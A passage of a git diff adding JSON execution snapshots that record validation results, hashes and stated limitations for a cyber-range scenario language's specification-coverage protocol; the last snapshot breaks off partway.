retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "ddcf7d5310b4f6643e653a849f49187b882483150bad41493ad93c638cfeaeb7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "a2aed61be1aea53a87504db79d6350c7b0045bef", + "snapshot_id": "raes-standardized-specification-coverage-issue-1186-v33", + "snapshot_revision": "33.0.0", + "source_state": { + "base_revision": "a2aed61be1aea53a87504db79d6350c7b0045bef", + "checkout_state": "modified", + "implementation_digest": "534e6bbfd7480ef3ae856583ce6eda5004da323cfa25b651ce3c96a7d28028b5", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v34.json b/docs/research/specification-coverage/execution-snapshot-v34.json new file mode 100644 index 000000000..1301a6e29 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v34.json @@ -0,0 +1,696 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T00:43:10.501349+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "ddcf7d5310b4f6643e653a849f49187b882483150bad41493ad93c638cfeaeb7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "e0cc608a64b1912f2c69368bdd561815aa4b749c", + "snapshot_id": "raes-standardized-specification-coverage-issue-1187-v34", + "snapshot_revision": "34.0.0", + "source_state": { + "base_revision": "e0cc608a64b1912f2c69368bdd561815aa4b749c", + "checkout_state": "modified", + "implementation_digest": "0ddedfed847f4cdf22334c6fc188065bdca1c1be661a75cc1e5ea7633831fda4", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v35.json b/docs/research/specification-coverage/execution-snapshot-v35.json new file mode 100644 index 000000000..2a352ecf3 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v35.json @@ -0,0 +1,697 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-20T04:32:06.140621+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": 